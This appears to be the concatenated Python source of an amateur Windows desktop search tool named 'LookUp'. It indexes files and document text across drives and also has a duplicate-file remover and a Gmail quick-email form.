update_file_database(): if not os.path.exists(r'C:\database1'): os.mkdir(r'C:\database1') os.chdir(r'C:\database1') fileopen=open('DATABASEF.pkl','wb') pickle.dump(x,fileopen) fileopen.close() def removenew(s): thisb=[',','<','.','>','/','?',"'",'"',':',';','[',']','_','-','*','&','^','%','$','#','@','!','~','(',')','+','=','...',"{","}","|","\\"] n=len(s) thislist1=[] for i in range(0,n): thislist1.append(s[i]) c=0 for i in range(0,n): if thislist1[c] in thisb: del thislist1[c] continue c=c+1 string='' for ele in thislist1: string+=ele thislist2=string.split() return thislist2 def scan2(): stopwordlist=['None','is','an','the','are','a','of','and','to','for','in','it','',' '] thisfile1=open(r'C:\database1\DATABASEF.pkl','rb') dbse=pickle.load(thisfile1) xdct={} for entity in dbse: sleep(0.005) if '.docx' in entity: sleep(0.005) try: a=docx.Document(dbse[entity]) for line in a.paragraphs: sleep(0.005) b=removenew(line.text) for word in b: if word=='' or word==' ': continue elif '\u2019' in word: wordn=word.replace('\u2019','') elif '\u2026' in word: wordn=word.replace('\u2026','') else: wordn=word if wordn in xdct: if dbse[entity] in xdct[wordn]: continue xdct[wordn].append(dbse[entity]) continue listm=[] listm.append(dbse[entity]) xdct[wordn]=listm except: continue if '.txt' in entity or '.cpp' in entity or '.csv' in entity : sleep(0.005) try: am=open(dbse[entity]) for word in am: list2=removenew(word) for e in list2: d=e.replace('\x00','') if d=='' or d==' ' or '1' in d or '2' in d or '3' in d or '4' in d or '5' in d or '6' in d or '7' in d or '8' in d or '9' in d or '0' in d or d in stopwordlist: continue if d in xdct: if dbse[entity] in xdct[d]: continue xdct[d].append(dbse[entity]) continue listn=[] listn.append(dbse[entity]) xdct[d]=listn except: continue if '.pptx' in entity: try: prs = Presentation(dbse[entity]) for slide in prs.slides: sleep(0.005) for shape in slide.shapes: if not shape.has_text_frame: continue for paragraph in shape.text_frame.paragraphs: a=removenew(paragraph.text) for ptword in a: if ptword in stopwordlist: continue if ptword in xdct: if dbse[entity] in xdct[ptword]: continue xdct[ptword].append(dbse[entity]) continue listn=[] listn.append(dbse[entity]) xdct[ptword]=listn except: continue if '.pdf' in entity: try: sleep(0.005) continue fpn = open(dbse[entity], 'rb') parser = PDFParser(fpn) docm = PDFDocument() parser.set_document(docm) try: docm.set_parser(parser) docm.initialize('') rsrcmgr = PDFResourceManager() laparams = LAParams() device = PDFPageAggregator(rsrcmgr, laparams=laparams) interpreter = PDFPageInterpreter(rsrcmgr, device) # Process each page contained in the document. for page in docm.get_pages(): sleep(0.005) interpreter.process_page(page) layout = device.get_result() for lt_obj in layout: if isinstance(lt_obj, LTTextBox) or isinstance(lt_obj, LTTextLine): try: for wrd in removenew(lt_obj.get_text()): sleep(0.005) if '1' in wrd or '2' in wrd or '3' in wrd or '4' in wrd or '5' in wrd or '6' in wrd or '7' in wrd or '8' in wrd or '9' in wrd or '0' in wrd: continue if type(wrd) is str: if wrd in stopwordlist: continue if wrd in xdct: xdct[wrd].append(dbse[entity]) continue listn=[] listn.append(dbse[entity]) xdct[wrd]=listn except: continue except: continue except: continue if '.xlsx' in entity: if True: sleep(0.005) wb=openpyxl.load_workbook(dbse[entity]) getnm=wb.get_sheet_names() for sheetn in getnm: sleep(0.005) sheet=wb.get_sheet_by_name(sheetn) hr=sheet.max_row hc=sheet.max_column for i in range(1,hr): sleep(0.005) for j in range(1,hc): eminem=False clvalue2=sheet.cell(row=i,column=j).value if type(clvalue2)==int or type(clvalue2)==float: continue clvalue="{}".format(clvalue2) if clvalue in stopwordlist: # or clvalue is None or '1' in clvalue or '2' in clvalue or '3' in clvalue or '4' in clvalue or '5' in clvalue or '6' in clvalue or '7' in clvalue or '8' in clvalue or '9' in clvalue or '0' in clvalue: continue else: clvalue3=removenew(clvalue) for ant in clvalue3: try: int(ant) eminem=True continue except: eminem=False if ant in xdct: xdct[ant].append(dbse[entity]) continue listn=[] listn.append(dbse[entity]) xdct[ant]=listn else: continue thisfile2=open('C:\database1\DATABASEW.pkl','wb') #the stored file pickle.dump(xdct,thisfile2) thisfile2.close() thisfile1.close() def mainu(): for i in range(15): sleep(600) update_database() threading.Thread(target=mainu).start() <file_sep>#script to compile source code using py2exe from distutils.core import setup import py2exe setup( windows=[ { "script":"searchBASE.pyw", } ], ) <file_sep>#This module is used to make a batch file to get metadata import os def createtool(): try: os.chdir(r"C:\database1") except: os.mkdir(r"C:\database1") os.chdir(r"C:\database1") a=open("tool.bat",'w') a.write(r"""@if (@X)==(@Y) @end /* JScript comment @echo off rem :: the first argument is the script name as it will be used for proper help message cscript //E:JScript //nologo "%~f0" %* exit /b %errorlevel% @if (@X)==(@Y) @end JScript comment */ ////// FSOObj = new ActiveXObject("Scripting.FileSystemObject"); var ARGS = WScript.Arguments; if (ARGS.Length < 1 ) { WScript.Echo("No file passed"); WScript.Quit(1); } var filename=ARGS.Item(0); var objShell=new ActiveXObject("Shell.Application"); ///// //fso ExistsItem = function (path) { return FSOObj.FolderExists(path)||FSOObj.FileExists(path); } getFullPath = function (path) { return FSOObj.GetAbsolutePathName(path); } // //paths getParent = function(path){ var splitted=path.split("\\"); var result=""; for (var s=0;s<splitted.length-1;s++){ if (s==0) { result=splitted[s]; } else { result=result+"\\"+splitted[s]; } } return result; } getName = function(path){ var splitted=path.split("\\"); return splitted[splitted.length-1]; } // function main(){ if (!ExistsItem(filename)) { WScript.Echo(filename + " does not exist"); WScript.Quit(2); } var fullFilename=getFullPath(filename); var namespace=getParent(fullFilename); var name=getName(fullFilename); var objFolder=objShell.NameSpace(namespace); var objItem=objFolder.ParseName(name); //https://msdn.microsoft.com/en-us/library/windows/desktop/bb787870(v=vs.85).aspx WScript.Echo(fullFilename + " : "); WScript.Echo(objFolder.GetDetailsOf(objItem,-1)); } main();""") a.close() <file_sep>from lxml import _elementpath as _dummy from pptx import Presentation import openpyxl import pickle import docx from functools import* import os from tkinter import* import collections.abc import threading lkill=False frame1=None label2=None myButton=None x={} g=None b=None root1=None root=None box2=None box4=None box6=None grint=False gtxt=None frameexists=False upbox=False def capspermutation(string): c=[] l=[] st3=string.upper() st2=string.lower() c.append(st2) c.append(st3) for alphabet in st2: l.append(alphabet) wrd=l[0].upper() e=1 while e<len(l): wrd=wrd+l[e] e+=1 c.append(wrd) return(c) extlist=('.mp3','.ace','.mp4','.avi','.flv','.mkv','.jpg','.jpeg','.htm','.html','.pdf','.png','.exe','.txt','.docx','.xml','.gif','.odp','.pptx','.zip','.py','.cpp','.c','.rar','.xlsx') def database(dir): b=os.listdir(dir) for entity in b: if entity=="$Recycle.Bin" or entity=="$RECYCLE BIN" or entity=="System Volume Information": continue if os.path.isdir(r'{}\{}'.format(dir,entity)): x[entity]=r'{}\{}'.format(dir,entity) try: database(r'{}\{}'.format(dir,entity)) except: continue else: if '.mp3' in entity: if '.lnk' in entity or '.LNK' in entity: continue meta=getmeta(r'{}\{}'.format(dir,entity)) tuple2=(entity,meta) x[tuple2]=r'{}\{}'.format(dir,entity) else: if '.lnk' in entity or '.LNK' in entity: continue for ext in extlist: if ext in entity: x[entity]=r'{}\{}'.format(dir,entity) def getmeta(file): os.chdir(r'C:\database1') try: a=os.popen(r'tool.bat "{}"'.format(file)) except: createtool() a=os.popen(r'tool.bat "{}"'.format(file)) for word in a: if 'artist' in word or 'Artist' in word: return word updating=False thislabel=None from tool import* updatecount=0 def update_database(): global box2,upbox,box4,updatecount,frame2,framen,button5,binitial,fame1 global myButton,root,entryBox,thislabel,myButtontwo,updating updating=True if button5!=None: button5.destroy() if binitial!=None: binitial.destroy() entryBox.destroy() myButton.destroy() myButtontwo.destroy() try: dingdong=Label(frame2,text='SCANNING...',bg='black',fg='blue') dingdong.pack(side=TOP) except: dingdong=Label(framen,text='SCANNING...',bg='black',fg='blue') dingdong.pack(side=TOP) if not os.path.exists(r'C:\database1'): os.mkdir(r'C:\database1') createtool() for direc in ('D:','E:','F:','G:','H:','I:','B:','A:'): try: rcheck=os.popen("vol {}".format(direc)) rchk=rcheck.readline() if 'recovery' in rchk or 'RECOVERY' in rchk: continue database(direc) except: continue os.chdir(r'C:\Users') dirinfo=os.popen('dir /B') for direc in dirinfo: str(direc) dirc=direc.strip() try: database(r"C:\Users\{}".format(dirc)) except: continue update_file_database() if frame2!=None: frame2.destroy() if upbox: framen.destroy() dingdong.destroy() createTextBox(root) myButton = Button(root, text="Search",bg="SteelBlue1",relief=FLAT,activebackground="gray53",width=14) myButton.pack(side=TOP,pady=1) Label(root,text="We Are Good To Go!",fg='white',bg='black').pack(side=TOP) thislabel=Label(root,text="The Documents are being scanned and indexed. May take a while. Plz dont exit during this operation.",fg='white',bg='blue') thislabel.pack() thfun2.start() thfun=threading.Thread(target=update_database) def update_file_database(): global updatecount if not os.path.exists(r'C:\database1'): os.mkdir(r'C:\database1') os.chdir(r'C:\database1') fileopen=open('DATABASEF.pkl','wb') pickle.dump(x,fileopen) fileopen.close() def opennow(path): os.popen('explorer.exe "{}"'.format(path)) root.destroy() os._exit(0) frame2=None button5=None def upcommand(): global frame2,root,button5,frame1,updating,frameexists updating=True frame2=Frame(root) frame2.pack(side=TOP) frame2.config(background='black') frame1.destroy() frameexists=False Label(frame2,text=" - Updating, A Matter Of Seconds..",bg='black',fg='white').pack(side=TOP) Label(frame2,text=" - Everytime it is updated, old records are deleted.",bg='black',fg='white').pack(side=TOP) Label(frame2,text=r" - In drive C:, the custom folder C:\Users\whtever will be scanned and your custom drive(if any) for ex. F: or whatever it is named will be scanned",bg='black',fg='white').pack(side=TOP) Label(frame2,text=" - Plz Be Patient! I will inform you when done.",bg='black',fg='white').pack(side=TOP) button5=Button(frame2,text="Do it!",command=thfun.start,bg='dim gray') button5.pack(ipadx=20) def remove(s): b=[',','<','.','>','/','\',','?',"'",'"',':',';','[',']','_','-','*','&','^','%','$','#','@','!','~','(','\n',')','+','=','...',"{","}","|","\\"] c=s.strip() n=len(c) list1=[] list2=[] for i in range(0,n): list1.append(c[i]) d=0 for i in range(0,n): if list1[d] in b: list2.append(list1[d]) list1[d]=' ' d=d+1 return list1,c not_destroyed=True def splt(string): e='' s=remove(string) d=[s[1]] for alpha in s[0]: e+=alpha b=e.split() for element in b: d.append(element) listcaps=capspermutation(string) if len(b)==1: listcaps1=capspermutation(b[0]) for element in listcaps1: d.append(element) if len(b)==2: listcaps2=capspermutation(b[1]) for element in listcaps2: d.append(element) if len(b)==3: listcaps3=capspermutation(b[2]) for element in listcaps3: d.append(element) for element in listcaps: d.append(element) return d framen=None u=0 binitial=None def search(key,frame1): global box2,framen,binitial global u y={} global frameexists global upbox frameexists=True if searchlabel!=None: searchlabel.destroy() try: os.chdir(r'C:\database1') fileopen=open('DATABASEF.pkl','rb') dbse=pickle.load(fileopen) checktest=True except: upbox=True frame1.destroy() frameexists=False framen=Frame(root,bg='black') framen.pack(side=TOP) label=Label(framen,text='Please Update The Database To get started. This may take a while. Please wait until the application starts to respond properly',bg='black',fg='white') label.pack(side=TOP) Label(framen,text=' - A Matter Of Seconds, A One Time Investment.',bg='black',fg='white').pack(side=TOP) Label(framen,text=" - Everytime it is updated, old records are deleted.",bg='black',fg='white').pack(side=TOP) Label(framen,text=r" - In drive C:, the custom folder C:\Users\whatever will be scanned and your custom drive(if any) for ex. F: or whatever it is named will be scanned",bg='black',fg='white').pack(side=TOP) Label(framen,text=" - Plz Be Patient. It will show up when done.",bg='black',fg='white').pack(side=TOP) binitial=Button(framen,text='Update',command=thfun.start,bg='gray',activebackground='indian red',relief=FLAT) binitial.pack(side=TOP) list=splt(str(key)) n=len(list) if checktest==True: for word in dbse: for alpha in list: if type(word) is str: if alpha in word.lower(): if word in y: continue y[word]=dbse[word] u+=1 elif type(word) is tuple: if alpha in word[0].lower(): if word in y: continue y[word]=dbse[word] u+=1 if word[1]!=None: if word in y: continue if alpha in word[1]: y[word]=dbse[word] u+=1 if u==800: break e=n k=0 yo='No' for rsnt in y: if type(rsnt)is str: if key.lower() in rsnt.lower(): if y[rsnt]=='': continue yo='yes' dirnam=os.path.dirname(y[rsnt]) button=Button(frame1,text=rsnt,command=partial(opennow,y[rsnt]),bg="SteelBlue2",relief=GROOVE,activebackground="gray53",height=2) button.pack(side=TOP) button2=Button(frame1,text="Open file location",command=partial(opennow,dirnam),bg="gray53",relief=FLAT,activebackground="SteelBlue2",height=1) button2.pack(side=TOP) k+=1 if k==10: break y[rsnt]='' if type(rsnt) is tuple: if key.lower() in rsnt[0].lower() : if y[rsnt]=='': continue yo='yes' dirnam=os.path.dirname(y[rsnt]) button=Button(frame1,text=rsnt[0],command=partial(opennow,y[rsnt]),bg="SteelBlue2",relief=GROOVE,activebackground="gray53",height=2) button.pack(side=TOP) button2=Button(frame1,text="Open file location",command=partial(opennow,dirnam),bg="gray53",relief=FLAT,activebackground="SteelBlue2",height=1) button2.pack(side=TOP) k+=1 if k==10: break y[rsnt]='' if rsnt[1]!=None: if key.lower() in rsnt[1].lower(): if y[rsnt]=='': continue yo='yes' dirnam=os.path.dirname(y[rsnt]) button=Button(frame1,text=rsnt[0],command=partial(opennow,y[rsnt]),bg="SteelBlue2",relief=GROOVE,activebackground="gray53",height=2) button.pack(side=TOP) button2=Button(frame1,text="Open file location",command=partial(opennow,dirnam),bg="gray53",relief=FLAT,activebackground="SteelBlue2",height=1) button2.pack(side=TOP) k+=1 if k==10: break y[rsnt]='' for i in range(0,n): if yo=='yes': break for rsnt in y: d=0 for z in list: if type(rsnt) is tuple: if z in rsnt[0].lower(): d+=1 if rsnt[1]!=None: if z in rsnt[1].lower(): d+=1 if type(rsnt) is str: if z in rsnt.lower(): d+=1 if d==e: if y[rsnt]=='': continue dirnam=os.path.dirname(y[rsnt]) if type(rsnt) is tuple: button=Button(frame1,text=rsnt[0],command=partial(opennow,y[rsnt]),bg="gray53",relief=GROOVE,activebackground="SteelBlue2",height=2) button.pack(side=TOP) button2=Button(frame1,text="Open file location",command=partial(opennow,dirnam),bg="SteelBlue2",relief=FLAT,activebackground="gray53",height=1) button2.pack(side=TOP) if type(rsnt) is str: button=Button(frame1,text=rsnt,command=partial(opennow,y[rsnt]),bg="gray53",relief=GROOVE,activebackground="SteelBlue2",height=2) button.pack(side=TOP) button2=Button(frame1,text="Open file location",command=partial(opennow,dirnam),bg="SteelBlue2",relief=FLAT,activebackground="gray53",height=1) button2.pack(side=TOP) y[rsnt]='' k=k+1 if k==8: break e-=1 global lkill,label2 if k==0: label2=Label(root,text="No results",bg="SteelBlue1",height=3,width=30) label2.pack() label2.place(height=20,width=90) lkill=True if k!=0 and lkill==True: label2.destroy() yo='No' def clearf(frame): a=frame.winfo_children() for widget in a: widget.destroy() txt=None itxt=None def buttonPushed(): global entryBox,txt,itxt,updating global root global frame1 global frameexists if txt!=None: itxt=txt txt = entryBox.get() if txt!='' and itxt!=txt and txt!=' ' and not updating: if frameexists: info=frame1.winfo_children() for widget in info: widget.destroy() search(txt,frame1) def buttonpushed2(event): global entryBox,txt,itxt,thinitbut global root global frame1 global frameexists if txt!=None: itxt=txt txt = entryBox.get() if txt!='' and itxt!=txt and txt!=' ': if frameexists: info=frame1.winfo_children() for widget in info: widget.destroy() search(txt,frame1) def initbut(): global txt,mailinitiated,updating while True: try: if txt!=None and ' ' in txt or mailinitiated or updating: labelenter=Label(root,text="Press Enter To Search",bg="SteelBlue1",height=3,width=30) labelenter.pack() labelenter.place(height=20,width=120) break buttonPushed() except: continue def createTextBox(parent): global entryBox entryBox = Entry(parent,background="lemon chiffon",width=60,relief=SUNKEN,font='Mincho') entryBox.pack(ipady=7,side=TOP) entryBox.focus_set() entryBox.bind('<Return>',buttonpushed2) u=0 v=0 x={} def checksum(dir): #a function that returns the checksum of a given file of any format a=os.popen('certutil -hashfile "{}"'.format(dir)) for word in a: b=a.readline() return b completed=False def check_dir(dire): global v,root1 global u,completed b=os.listdir(os.chdir(dire)) #b is a list for entity in b: #entity is the current folder or file being processed if os.path.isdir("{}\{}".format(dire,entity)): if len(os.listdir("{}\{}".format(dire,entity)))==0: os.rmdir("{}\{}".format(dire,entity)) v+=1 Label(root1,text="The folder {}\{} has been deleted because it was empty".format(dire,entity)).pack(side=TOP) continue check_dir("{}\{}".format(dire,entity)) else: c=checksum("{}\{}".format(dire,entity)) if c in x: x[c]+=1 os.remove("{}\{}".format(dire,entity)) u+=1 #print("the file {}\{} has been deleted".format(dir,entity)) else: x[c]=1 completed=True l1=None l2=None proceed=None dupinitiated=False def init_dup(): global root1,b,proceed,dupinitiated root1=Tk() root1.title("Remove duplicate files") dupinitiated=True global box6 Message(root1,text="WARNING: Please note that any empty folders and empty files will also be deleted. \nThe app may hand during this operation",bg='antique white',width=500).pack(side=TOP) proceed=Label(root1,text="Do you want to proceed? [Y/N]") proceed.pack(side=TOP) box6=Entry(root1) box6.pack(side=TOP) box6.focus_set() b=Button(root1,text='Go On',bg='gray53',activebackground='peach puff') b.pack() b.bind('<Button-1>',get_response) root1.mainloop() but=None def get_response2(): global g,box6,root1,not_destroyed,but,l1,l2,root h=box6.get() x={} try: check_dir(h) #calling the function box6.destroy() but.destroy() l1.destroy() l2.destroy() if not_destroyed: if u!=0 or v!=0: #checking if any file was actually deleted Message(root1,text='Total {} duplicate file(s) and {} empty folder(s) was/were deleted.\nPlease Exit the whole application.\nPlease do not use this feature more than once in one session.'.format(u,v),width=300).pack(side=TOP) elif completed: Message(root1,text="Scan complete.\nNo duplicate files were found.\nNow please Exit the whole application.\nPlease do not use this feature more than once in one session.",width=300).pack(side=TOP) exitbu=Button(root1,text='EXIT',bg='gray53',activebackground="peachpuff") exitbu.pack(side=TOP) exitbu.focus_set() exitbu.bind('<Return>',dest) exitbu.bind('<Button-1>',dest) except: Label(root1,text="Path Not found.Operation failed.Please restart the application").pack(side=TOP) def dest(event): os._exit(0) def get_response(event): global box6,g,b,root1,u,v,but,proceed,grint,gtxt,l1,l2 global not_destroyed grint=True box6.focus_set() g=box6.get() box6.delete(0,END) proceed.destroy() if g=='Y' or g=='y': l1=Label(root1,text="Enter the drive or directory(full path) in which") l2=Label(root1,text="you want to remove duplicated files.For Ex. 'F:'") l1.pack() l2.pack() b.destroy() b=None but=Button(root1,text='DO IT',bg='gray53',activebackground="peach puff",command=get_response2) but.pack(side=TOP) elif g=='N' or g=='n': root1.destroy() else: Label(root1,text="Unrecognized response. Please try again") root1.destroy() init_dup() not_destroyed=False def removeit(s): b=[',','<','.','>','/','\',','?',"'",'"',':',';','[',']','_','-','*','&','^','%','$','#','@','!','~','(','\n',')','+','=','...',"{","}","|","\\"] n=len(s) list1=[] for i in range(0,n): list1.append(s[i]) c=0 for i in range(0,n): if list1[c] in b: del list1[c] continue c=c+1 return list1 yugbox=None yugbox2=None yugframe=None def yughere(event): global yugbox,yugbox2,yugframe iamtrue=True yug1=str(yugbox.get()) yug2=str(yugbox2.get()) try: a=open(yug1) d=open(yug2,'x') except: Label(yugframe,text='Error: Either the path is incorrect or the second file already exists.').pack(side=TOP) iamtrue=False if iamtrue: try: for word in a: c=removeit(word) for l in c: d.write(l) d.write("\n") except: Label(yugframe,text='Something went wrong.Please Try again') if iamtrue: clearf(yugframe) Label(yugframe,text="Ok, I'm done! Let's now meet the unhappy file (:P) ",height=5,bg="SteelBlue2").pack() def inityughere(): global yugbox,yugbox2,yugframe root2=Tk() root2.config(background='RoyalBlue4') yugframe=Frame(root2,bg='RoyalBlue4') yugframe.pack() Label(yugframe,text="Enter the full path to the text file(.txt extension)",bg='RoyalBlue4',fg='white').pack(side=TOP) yugbox=Entry(yugframe,bg='lemon chiffon') yugbox.pack(side=TOP) Label(yugframe,text="Now enter the full path (including file name which will be created automatically) to store the 'unhappy' text",fg='white',bg='RoyalBlue4').pack(side=TOP) yugbox.focus_set() yugbox2=Entry(yugframe,bg='lemon chiffon') yugbox2.pack(side=TOP) yugbox.bind('<Return>',focusSET) yugbox2.bind('<Return>',yughere) yugbutton=Button(yugframe,text="Do This Crap!",bg='gray53') yugbutton.pack(side=TOP) yugbutton.bind('<Button-1>',yughere) def focusSET(event): global yugbox2 yugbox2.focus_set() def removenew(s): thisb=[',','<','.','>','/','?',"'",'"',':',';','[',']','_','-','*','&','^','%','$','#','@','!','~','(',')','+','=','...',"{","}","|","\\"] n=len(s) thislist1=[] for i in range(0,n): thislist1.append(s[i]) c=0 for i in range(0,n): if thislist1[c] in thisb: del thislist1[c] continue c=c+1 string='' for ele in thislist1: string+=ele thislist2=string.split() return thislist2 def scan2(): global thislabel,updating updating=True stopwordlist=['None','is','an','the','are','a','of','and','to','for','in','it','',' '] thisfile1=open(r'C:\database1\DATABASEF.pkl','rb') dbse=pickle.load(thisfile1) xdct={} for entity in dbse: if '.docx' in entity: try: a=docx.Document(dbse[entity]) for line in a.paragraphs: b=removenew(line.text) for word in b: if word=='' or word==' ': continue elif '\u2019' in word: wordn=word.replace('\u2019','') elif '\u2026' in word: wordn=word.replace('\u2026','') else: wordn=word if wordn in xdct: if dbse[entity] in xdct[wordn]: continue xdct[wordn].append(dbse[entity]) continue listm=[] listm.append(dbse[entity]) xdct[wordn]=listm except: continue if '.txt' in entity or '.cpp' in entity or '.csv' in entity: try: am=open(dbse[entity]) for word in am: list2=removenew(word) for e in list2: d=e.replace('\x00','') if d=='' or d==' ' or '1' in d or '2' in d or '3' in d or '4' in d or '5' in d or '6' in d or '7' in d or '8' in d or '9' in d or '0' in d or d in stopwordlist: continue if d in xdct: if dbse[entity] in xdct[d]: continue xdct[d].append(dbse[entity]) continue listn=[] listn.append(dbse[entity]) xdct[d]=listn except: continue if '.pptx' in entity: try: prs = Presentation(dbse[entity]) for slide in prs.slides: for shape in slide.shapes: if not shape.has_text_frame: continue for paragraph in shape.text_frame.paragraphs: a=removenew(paragraph.text) for ptword in a: if ptword in stopwordlist: continue if ptword in xdct: if dbse[entity] in xdct[ptword]: continue xdct[ptword].append(dbse[entity]) continue listn=[] listn.append(dbse[entity]) xdct[ptword]=listn except: continue if '.xlsx' in entity: try: wb=openpyxl.load_workbook(dbse[entity]) print(entity) getnm=wb.get_sheet_names() for sheetn in getnm: sheet=wb.get_sheet_by_name(sheetn) print(sheet) hr=sheet.get_highest_row() hc=sheet.get_highest_column() for i in range(1,hr): for j in range(1,hc): clvalue=sheet.cell(row=i,column=j).value print(clvalue) if type(clvalue) is not int: if clvalue in stopwordlist or clvalue is None or '1' in clvalue or '2' in clvalue or '3' in clvalue or '4' in clvalue or '5' in clvalue or '6' in clvalue or '7' in clvalue or '8' in clvalue or '9' in clvalue or '0' in clvalue: continue else: continue print("LOL") if type(clvalue) is str: clvalue2=removenew(clvalue) for ant in clvalue2: print (ant) if ant in xdct: xdct[ant].append(dbse[entity]) continue listn=[] print(listn) listn.append(dbse[entity]) xdct[ant]=listn print(xdct[ant]) except: continue print('Done') thisfile2=open('C:\database1\DATABASEW.pkl','wb') pickle.dump(xdct,thisfile2) thisfile2.close() thisfile1.close() thislabel2=Label(text="Great! Now search inside of all kinds of text docs as well",fg='white',bg='blue') thislabel2.pack() thislabel.destroy() import operator thfun2=threading.Thread(target=scan2) altsearch=False suplist=None def search2(event): global frame1,frameexists,thisdict2,altsearch,suplist dict3={} altsearch=True if frameexists: clearf(frame1) txt = entryBox.get() thislist=[] if txt !='': for element in txt.split(): elelist=capspermutation(element) for _ in elelist: thislist.append(_) for words in thislist: try: if words in thisdict2 and words!='': if words in dict3: continue dict3[words]=thisdict2[words] except: continue n=len(thislist) e=n suplist={} count=0 for word in dict3: if len(dict3[word])<100: for ent in dict3[word]: if ent in suplist: suplist[ent]+=1 continue suplist[ent]=1 s2button1=Button(frame1,text='See All',command=seeall,bg='white',fg='gray',relief=GROOVE) s2button1.pack(side=TOP,ipadx=15) frame1.config(background='white') for key,value in sorted(suplist.items(),key=operator.itemgetter(1),reverse=True): Button(frame1,text=os.path.basename(key),command=partial(opennow,key),bg='blue',fg='white',width=50,activebackground='gray53',relief=GROOVE,font='Mincho').pack(side=TOP,ipady=6) count+=1 if count==15: count=0 break def seeall(): global suplist if len(suplist)!=0: root5=Tk() root5.title('See All') root5.config(background='peach puff') count=0 for key,value in sorted(suplist.items(),key=operator.itemgetter(1),reverse=True): Button(root5,text=os.path.basename(key),command=partial(opennow,key),bg='blue',fg='white',width=40,activebackground='gray53',relief=GROOVE,font='Mincho 10').pack(side=TOP,ipadx=50) count+=1 if count==29: count=0 break thisvar=None thisdict2=None def initiates2(): global thisdict2,thisvar,frameexists try: os.chdir(r"C:\database1") thisvar=open(r"C:\database1\DATABASEW.pkl",'rb') thisdict2=pickle.load(thisvar) except: if frameexists: upcommand() s2t=threading.Thread(target=initiates2) s2t.start() import smtplib from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.utils import COMMASPACE, formatdate from email import encoders def send_mail( send_from, send_to, subject, text, files=[], server="smtp.gmail.com", port=587, username='', password='', isTls=True): msg = MIMEMultipart() msg['From'] = str(send_from) msg['To'] = COMMASPACE.join(str(send_to)) msg['Date'] = formatdate(localtime = True) msg['Subject'] = str(subject) msg.attach( MIMEText(text) ) for f in files: part = MIMEBase('application', "octet-stream") part.set_payload( open(f,"rb").read() ) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="{0}"'.format(os.path.basename(f))) msg.attach(part) smtp = smtplib.SMTP(server, port) if isTls: smtp.starttls() smtp.login(username,password) smtp.sendmail(send_from, send_to, msg.as_string()) smtp.quit() root4=None mframe=None mailinitiated=False var=None def init_mail(): global root4,mframe,mailinitiated,var mailinitiated=True root4=Tk() root4.title('Quick Email Facility') root4.config(background='SteelBlue1') mframe=Frame(root4) mframe.pack() mframe.config(bg='SteelBlue2') var=0 Message(mframe,text="To use this quick email facility, please make sure that you have \n enabled the 'Allow less secure Apps' option in gmail account settings. \n\nMy account-> Sign in And security-> Allow less Secure apps \n\nYour mailing address and password will never be stored.\nIt is totally safe.",bg='SteelBlue2',fg='black',font='Times',width=600).pack() chk=Checkbutton(mframe,text='Email With Attachment',command=variable,bg='SteelBlue2') chk.pack() Button(mframe,text='Done !',command=go_mail,bg='gray53',activebackground='peach puff',relief=GROOVE).pack(ipadx=20) root4.mainloop() def variable(): global var if var==0: var=1 else: var=0 ethread=None e1=None;e2=None;e3=None;e4=None;e5=None;e6=None;eframe=None def go_mail(): global mframe,root4,e1,e2,e3,e4,e5,e6,eframe,var,ethread mframe.destroy() eframe=Frame(root4) eframe.pack() eframe.config(background='SteelBlue1') e1=Entry(eframe,background='peach puff',font='Times') l1=Label(eframe,text='Email:') l1.pack(ipadx=60,ipady=4) e1.pack(ipadx=60,ipady=4) e2=Entry(eframe,background='peach puff',font='Times',show='*') l1=Label(eframe,text='Password') l1.pack(ipadx=60,ipady=4) e2.pack(ipadx=60,ipady=4) e3=Entry(eframe,background='peach puff',font='Times') l1=Label(eframe,text='Reciever(s):') l1.pack(ipadx=60,ipady=4) e3.pack(ipadx=60,ipady=4) e4=Entry(eframe,background='peach puff',font='Times') l1=Label(eframe,text='Subject:') l1.pack(ipadx=60,ipady=4) e4.pack(ipadx=60,ipady=4) e5=Text(eframe,background='peach puff',font='Times',height=10,width=40) l1=Label(eframe,text='Body:') l1.pack(ipadx=60,ipady=4) e5.pack(ipadx=60,ipady=4) if var: e6=Entry(eframe,background='peach puff',font='Times') l1=Label(eframe,text='Attachment file(Full Path To The File)') l1.pack(ipadx=60,ipady=4) e6.pack(ipadx=60,ipady=4) ebutton=Button(eframe,text='send',bg='lightgreen',command=makesit,activebackground='peach puff',relief=GROOVE,font='Times') ebutton.pack(ipadx=20) elabel3=None elabel2=None elabel3made=False;elabel2made=False def sendit(): global eframe,e1,e2,e3,e4,e5,e6,elabel3made,elabel2made,elabel3,elabel2,var,ethread ethread='started' efrom=e1.get() epassword=e2.get() eto=e3.get() esubject=e4.get() etext=e5.get(index1=1.0,index2=END) if var: eattach=e6.get() if elabel3!=None: try: elabel3.destroy() except: elabel3=None if elabel2!=None: try: elabel2.destroy() except: elabel2=None elabel=Label(eframe,text='Sending mail. Please Wait.') elabel.pack() try: if var: send_mail(efrom, eto,esubject, etext,files=[eattach],username=efrom, password=epassword) else: send_mail2(efrom,eto,efrom,epassword,esubject,etext) elabel.destroy() elabel2=Label(eframe,text='Sent Successfully!',font='Times') elabel2.pack() elabel2made=True except: elabel.destroy() elabel3=Label(eframe,text='Sending Failed') elabel3.pack() elabel3made=True def send_mail2(sender,reciever,username,password,subject,text): message="subject: {} \n{}".format(subject,text) a=smtplib.SMTP('smtp.gmail.com',25) a.ehlo() a.starttls() a.login(username,password) a.sendmail(sender,reciever,message) def makesit(): sit=threading.Thread(target=sendit) sit.start() searchlabel=None thisdict2=None muButton=None myButtontwo=None thinitbut=None def main(): global root,frame1,myButton,thisdict2,myButtontwo,thinitbut,frameexists,searchlabel root = Tk() root.title("LookUp") root.configure(background="black") myButton = Button(root, text="Search inside Documents",bg="SteelBlue1",relief=FLAT,activebackground="gray53",width=18) myButton.pack(side=TOP,pady=1) myButtontwo = Button(root, text="Search",bg="SteelBlue1",relief=FLAT,activebackground="gray53",width=14,command=buttonPushed) myButtontwo.pack(side=TOP,pady=1) createTextBox(root) frame1=Frame(root,height=800,width=600) frame1.pack(side=TOP) frame1.config(background='peach puff') frame1.pack_propagate(False) searchlabel=Message(frame1,bg='peach puff',fg='blue',text="`I Search Everywhere, I Search Smart. \n `Type an artist's name and their creations will be shown ",width=1000,font='Times 10') searchlabel.pack(side=TOP) mymenu=Menu(root) frameexists=True utils=Menu(mymenu,tearoff=0) thinitbut=threading.Thread(target=initbut) thinitbut.start() utils.add_command(label='Update Database',activebackground='SteelBlue1',background='peach puff',command=upcommand) utils.add_separator() utils.add_command(label='Quick email',activebackground='SteelBlue1',background='peach puff',command=init_mail) utils.add_separator() 